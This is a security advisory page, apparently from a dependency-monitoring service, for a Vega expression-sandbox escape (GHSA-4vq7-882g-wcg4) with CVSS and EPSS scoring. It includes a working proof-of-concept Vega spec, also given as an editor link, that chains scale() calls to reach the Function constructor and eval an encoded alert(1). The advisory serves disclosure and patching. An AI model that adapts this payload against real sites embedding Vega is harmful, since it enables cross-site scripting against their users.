Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Checkout DevGuardView on GitHub
Search

GHSA-4vq7-882g-wcg4

MediumCVSS 6.1 / 10
Published Mar 2, 2023·Last modified Nov 8, 2023
Affected Components(0)

No affected components available

Description

Summary

The Vega scale expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.

Details

The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale.

PoC

The following Vega definition can be used to demonstrate this issue executing the JavaScript code alert(1);

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "data": [
    {
      "name": "XSS PoC",
      "values": [1],
      "transform": [
        {
          "type": "formula",
          "as": "amount",
          "expr": "scale('func', null,  {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})"
        }
      ]
    }
  ]
}

This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA

Risk Scores
Base Score
6.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
5.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.78%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Related Vulnerabilities

Browse More

Medium severity
Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard